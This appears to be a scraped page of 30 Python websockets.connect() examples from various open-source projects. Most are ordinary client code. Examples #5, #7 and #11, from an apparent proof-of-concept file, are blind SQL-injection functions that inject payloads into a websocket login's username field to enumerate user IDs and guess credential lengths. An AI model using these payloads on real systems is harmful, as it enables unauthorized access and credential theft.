Python websockets.connect() Examples
The following are 30
code examples of websockets.connect().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
websockets
, or try the search function
.
Example #1
Source File: interface.py From hwk-mirror with GNU General Public License v3.0 | 7 votes |
def server_handler(self, ws, *args, **kwargs): async for message in ws: client_id, request, data = self.client_message(message) if request == "echo": await ws.send(json.dumps({"result":message})) elif request == "connect": self.clients[client_id] = await self.on_connect(ws, client_id) self.connected_clients = [client_id for client_id in self.clients] elif request == "disconnect": await self.on_disconnect(ws, client_id) self.connected_clients = [client_id for client_id in self.clients] else: await self.respond(ws, client_id, request, data)
Example #2
Source File: remotegame.py From pychess with GNU General Public License v3.0 | 6 votes |
def download_game(self): # Check if self.id is None: return # Open a websocket to retrieve the game async def coro(self): result = None ws = await websockets.connect('wss://www.pychess.org/wsr', origin="https://www.pychess.org", ping_interval=None) try: await ws.send('{"type":"board","gameId":"%s"}' % self.id) for i in range(5): data = await ws.recv() data = self.json_loads(data) if data['type'] == 'board' and data['gameId'] == self.id: result = data['pgn'] if data['pgn'] != '' else None break finally: await ws.close() self.data = result await coro(self) # Generic
Example #3
Source File: client.py From chia-blockchain with Apache License 2.0 | 6 votes |
def start(self): self.websocket = await websockets.connect(self._uri) async def listener(): while True: message = await self.websocket.recv() decoded = json.loads(message) id = decoded["request_id"] if id in self._request_dict: if id in self._request_dict: self.response_dict[id] = decoded self._request_dict[id].set() asyncio.create_task(listener()) await asyncio.sleep(1)
Example #4
Source File: connection.py From python-libjuju with Apache License 2.0 | 6 votes |
def connect_params(self): """Return a tuple of parameters suitable for passing to Connection.connect that can be used to make a new connection to the same controller (and model if specified. The first element in the returned tuple holds the endpoint argument; the other holds a dict of the keyword args. """ return { 'endpoint': self.endpoint, 'uuid': self.uuid, 'username': self.username, 'password': self.password, 'cacert': self.cacert, 'bakery_client': self.bakery_client, 'loop': self.loop, 'max_frame_size': self.max_frame_size, }
Example #5
Source File: dump_http_user_creds.py From poc with BSD 3-Clause "New" or "Revised" License | 6 votes |
def guess_password_length(uri, ssl_context, uid, username): length = 0 while length < 100: print('[+] Guessing user id ' + str(uid) + '\'s password length: ' + str(length), end='\r') async with websockets.connect(uri, ssl=ssl_context) as websocket: login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + '\' AND LENGTH(user_password)==' + str(length) + '--"}}' await websocket.send(login) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): break else: length = length + 1 # if we hit max password length than we've done something wrong if (length == 100): print('[+] Couldn\'t determine the passwords length.') sys.exit(1) print('') return length # Guess the user's password. Limited to length bytes. Could optimize out length # using an additional lookup after each successful match.
Example #6
Source File: webos_client.py From pylgtv with MIT License | 6 votes |
def _register(self): """Register wrapper.""" logger.debug('register on %s', "ws://{}:{}".format(self.ip, self.port)); try: websocket = yield from websockets.connect( "ws://{}:{}".format(self.ip, self.port), timeout=self.timeout_connect) except: logger.error('register failed to connect to %s', "ws://{}:{}".format(self.ip, self.port)); return False logger.debug('register websocket connected to %s', "ws://{}:{}".format(self.ip, self.port)); try: yield from self._send_register_payload(websocket) finally: logger.debug('close register connection to %s', "ws://{}:{}".format(self.ip, self.port)); yield from websocket.close()
Example #7
Source File: dump_http_user_creds.py From poc with BSD 3-Clause "New" or "Revised" License | 6 votes |
def guess_username_length(uri, ssl_context, uid): length = 1 while length < 100: print('[+] Guessing user id ' + str(uid) + '\'s username length: ' + str(length), end='\r') async with websockets.connect(uri, ssl=ssl_context) as websocket: login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND LENGTH(user_name)=' + str(length) + '--"}}' await websocket.send(login) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): print('') break else: length = length + 1 if (length == 100): print('\n[-] Failed to guess the user\'s username length.') sys.exit(0) return length # Guess the user's username. Limited to length bytes. Could optimize out length # using an additional lookup after each successful match.
Example #8
Source File: streamconn.py From alpaca-trade-api-python with Apache License 2.0 | 6 votes |
def connect(self): await self._dispatch({'ev': 'status', 'status': 'connecting', 'message': 'Connecting to Polygon'}) self._ws = await websockets.connect(self._endpoint) self._stream = self._recv() msg = await self._next() if msg.get('status') != 'connected': raise ValueError( ("Invalid response on Polygon websocket connection: {}" .format(msg)) ) await self._dispatch(msg) if await self.authenticate(): self._consume_task = asyncio.ensure_future(self._consume_msg()) else: await self.close()
Example #9
Source File: conftest.py From saltyrtc-server-python with MIT License | 6 votes |
def ws_client_factory(initiator_key, event_loop, client_kwargs, server): """ Return a simplified :class:`websockets.client.connect` wrapper where no parameters are required. """ # Note: The `server` argument is only required to fire up the server. server_ = server # Create SSL context ssl_context = ssl.create_default_context( ssl.Purpose.SERVER_AUTH, cafile=pytest.saltyrtc.cert) ssl_context.load_dh_params(pytest.saltyrtc.dh_params) def _ws_client_factory(server=None, path=None, **kwargs): if server is None: server = server_ if path is None: path = '{}/{}'.format(url(*server.address), key_path(initiator_key)) _kwargs = client_kwargs.copy() _kwargs.update(kwargs) return websockets.connect(path, ssl=ssl_context, **_kwargs) return _ws_client_factory
Example #10
Source File: streamconn.py From alpaca-trade-api-python with Apache License 2.0 | 6 votes |
def _ensure_ws(self): if self._ws is not None: return while self._retries <= self._retry: try: await self.connect() if self._streams: await self.subscribe(self._streams) break except Exception as e: await self._dispatch({'ev': 'status', 'status': 'connect failed', 'message': f'Polygon Connection Failed ({e})'}) self._ws = None self._retries += 1 time.sleep(self._retry_wait * self._retry) else: raise ConnectionError("Max Retries Exceeded")
Example #11
Source File: dump_http_user_creds.py From poc with BSD 3-Clause "New" or "Revised" License | 6 votes |
def guess_user_ids(uri, ssl_context): user_id = 0 id_list = [] while user_id < 1000: async with websockets.connect(uri, ssl=ssl_context) as websocket: print('[+] Scanning for valid user ids: ' + str(user_id), end='\r') login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(user_id)+'--"}}' await websocket.send(login) response = await websocket.recv() inject_result = json.loads(response) if (inject_result['message']['status'] == 0): id_list.append(user_id) user_id += 1 print('\n[+] Found ' + str(len(id_list)) + ' accounts.') return id_list # Given a user ID figure out how long the username is
Example #12
Source File: websocket_client.py From PySyft with Apache License 2.0 | 6 votes |
def async_send_msg(self, message: Message) -> object: """Asynchronous version of send_msg.""" if self.verbose: print("async_send_msg", message) async with websockets.connect( self.url, timeout=self.timeout, max_size=None, ping_timeout=self.timeout ) as websocket: # Step 1: serialize the message to a binary bin_message = sy.serde.serialize(message, worker=self) # Step 2: send the message await websocket.send(bin_message) # Step 3: wait for a response bin_response = await websocket.recv() # Step 4: deserialize the response response = sy.serde.deserialize(bin_response, worker=self) return response
Example #13
Source File: controller.py From robotstreamer with Apache License 2.0 | 6 votes |
def startChat(): time.sleep(10) #todo: only wait as needed (wait for interenet) print("restarting loop") time.sleep(0.25) while True: print("CHAT: starting chat loop") try: asyncio.new_event_loop().run_until_complete(handleChatMessages()) except: print("CHAT: error") traceback.print_exc() print("CHAT: event handler died") # sleep to stop hammering endpoint requests time.sleep(2) #async def hello(uri): # async with websockets.connect(uri) as websocket: # await websocket.send(json.dumps({"message":"message"})) # while True: # print("recv") # x = await websocket.recv() # print(x)
Example #14
Source File: remote_runner.py From a2ml with Apache License 2.0 | 6 votes |
def connect_and_get_result(self, request_id, local_file): last_msg_id = '0' try: endpoint = self.ws_endpoint + "/ws?id=" + request_id + '&last_msg_id=' + str(last_msg_id) async with websockets.connect(endpoint) as websocket: while True: data = await websocket.recv() data = json.loads(data) if '_msg_id' in data: last_msg_id = data['_msg_id'] self.handle_weboscket_respone(data, local_file) if self.get_response_data_type(data) == 'result': return data except Exception as e: self.show_output(e) await asyncio.sleep(2) return {}
Example #15
Source File: ws_client.py From CEX.IO-Client-Python3.5 with MIT License | 5 votes |
def _on_disconnected(self): try: self.state = CLOSED self._send_error.cancel() await wait_for(self.ws.close(), self._timeout) except Exception as ex: logger.debug(ex) if self._reconnect: logger.info("WS> Reconnecting...") while True: try: await sleep(self._reconnect_interval()) await self._connecting_lock.acquire() await self.connect() break except Exception as ex: logger.info(ex) finally: self._connecting_lock.release() ensure_future(self._after_connected()) ret = True # continue routing else: logger.info("WS> Client stopped") ret = False # stop routing return ret
Example #16
Source File: ws_client.py From CEX.IO-Client-Python3.5 with MIT License | 5 votes |
def run(self): assert self._router is not None assert self._resolver is not None await self.connect() if self._routing_on is None: self._routing_on = ensure_future(self._routing()) logger.debug('WS.Client> Routing started')
Example #17
Source File: chrome.py From chromewhip with MIT License | 5 votes |
def connect(self): """ Get all open browser tabs that are pages tabs """ if not self.is_connected: try: await asyncio.wait_for(self.attempt_tab_fetch(), timeout=5) except TimeoutError: self._log.error('Unable to fetch tabs! Timeout')
Example #18
Source File: chrome.py From chromewhip with MIT License | 5 votes |
def tabs(self): if not len(self._tabs): raise ValueError('Must call connect_s or connect first!') return tuple(self._tabs)
Example #19
Source File: client.py From tildemush with GNU General Public License v3.0 | 5 votes |
def connect(self): self.connection = await websockets.connect(self.login_url) time.sleep(0.3) # people love to wait self.ui.base = Splash(lambda _:self.show_menu())
Example #20
Source File: client.py From tildemush with GNU General Public License v3.0 | 5 votes |
def run(self): asyncio.wait_for(asyncio.ensure_future(self.connect(), loop=self.loop),60.0, loop=self.loop) self.ui.loop.run()
Example #21
Source File: async_test.py From tildemush with GNU General Public License v3.0 | 5 votes |
def __aenter__(self): self.c = await websockets.connect('ws://localhost:5555', loop=self.loop) return self
Example #22
Source File: display_delegate.py From hwk-mirror with GNU General Public License v3.0 | 5 votes |
def __init__(self): super().__init__() self.ticket_printer = Printer() self.ticket_generator = None self.network = False self.connected = False self.test_network_connection() self.connect() self.print_tickets() self.get_time() # deprecate self.show_num_tickets = NUM_TICKETS
Example #23
Source File: ws_client.py From CEX.IO-Client-Python3.5 with MIT License | 5 votes |
def connect(self): try: if self.state != CLOSED: return self.ws = await wait_for(websockets.connect(self._uri), self._timeout) self.ws.timeout = self._protocol_timeout if not self._send_error.done(): self._send_error.cancel() self._send_error = Future() message = await self.recv() if message_equal_or_greater(message, {'e': 'connected', }): logger.info('WS> Client Connected') else: raise ProtocolError("WS> Client Connection failed: {}".format(message)) if self._need_auth: await self._authorize() self.state = OPEN except Exception as ex: logger.info("{} (\'{}\') while connecting".format(ex.__class__.__name__, ex)) try: if self.ws is not None: await wait_for(self.ws.close_connection(force=True), self._timeout) except Exception as ex1: logger.error("Exception at close_connection: {}".format(ex1)) raise ex
Example #24
Source File: stream2.py From alpaca-trade-api-python with Apache License 2.0 | 5 votes |
def _ensure_ws(self, conn): if conn._handlers: return conn._handlers = self._handlers.copy() conn._handler_symbols = self._handler_symbols.copy() if isinstance(conn, _StreamConn): await conn._connect() else: await conn.connect()
Example #25
Source File: stream2.py From alpaca-trade-api-python with Apache License 2.0 | 5 votes |
def _connect(self): ws = await websockets.connect(self._endpoint) await ws.send(json.dumps({ 'action': 'authenticate', 'data': { 'key_id': self._key_id, 'secret_key': self._secret_key, } })) r = await ws.recv() if isinstance(r, bytes): r = r.decode('utf-8') msg = json.loads(r) if msg.get('data', {}).get('status'): status = msg.get('data').get('status') if status != 'authorized': raise ValueError( (f"Invalid Alpaca API credentials, Failed to " f"authenticate: {msg}") ) else: self._retries = 0 elif msg.get('data', {}).get('error'): raise Exception(f"Error while connecting to {self._endpoint}:" f"{msg.get('data').get('error')}") else: self._retries = 0 self._ws = ws await self._dispatch('authorized', msg) self._consume_task = asyncio.ensure_future(self._consume_msg())
Example #26
Source File: extract.py From hwk-mirror with GNU General Public License v3.0 | 5 votes |
def get_data(): async with websockets.connect(address) as ws: await ws.send(json.dumps({"client_id": "Extern", "request": "extract", "data": None})) return json.loads(await ws.recv())["result"]
Example #27
Source File: interface.py From hwk-mirror with GNU General Public License v3.0 | 5 votes |
def connect(self): # if server is not online when client starts, wait for server async def get_port(): while True: try: return await self.server_message("connect", None) except: await asyncio.sleep(1) @self.append async def coroutine(): while True: try: task = self.loop.create_task(get_port()) result = await asyncio.wait({task}) assert task in result[0] self.connected = True ws = await websockets.connect(f"ws://{device_ip}:{task.result()}") while True: if self.connected: await ws.send("update") self.loads(await ws.recv()) await asyncio.sleep(1/30) else: # tell update handler to stop await ws.send("disconnect") self.loads(await ws.recv()) break # tell server handler to do cleanup return await self.server_message("disconnect", None) except: self.connected = False finally: await asyncio.sleep(1) return coroutine()
Example #28
Source File: interface.py From hwk-mirror with GNU General Public License v3.0 | 5 votes |
def server_message(self, request, data): async with websockets.connect(address) as ws: await ws.send(json.dumps({"client_id":self.client_id, "request":request, "data":data})) return json.loads(await ws.recv())["result"]
Example #29
Source File: display_delegate.py From hwk-mirror with GNU General Public License v3.0 | 5 votes |
def get_time(self): if not lib.DEBUG: async def get_time(): while True: if self.connected: break await asyncio.sleep(1/30) async with websockets.connect(lib.address) as ws: await ws.send(json.dumps({"client_id":"Display", "request":"get_time", "data":None})) result = json.loads(await ws.recv())["result"] self.set_time(int(result)) return self.loop.create_task(get_time())
Example #30
Source File: connection.py From python-libjuju with Apache License 2.0 | 5 votes |
def controller(self): """Return a Connection to the controller at self.endpoint """ return await Connection.connect( self.endpoint, username=self.username, password=self.password, cacert=self.cacert, bakery_client=self.bakery_client, loop=self.loop, max_frame_size=self.max_frame_size, )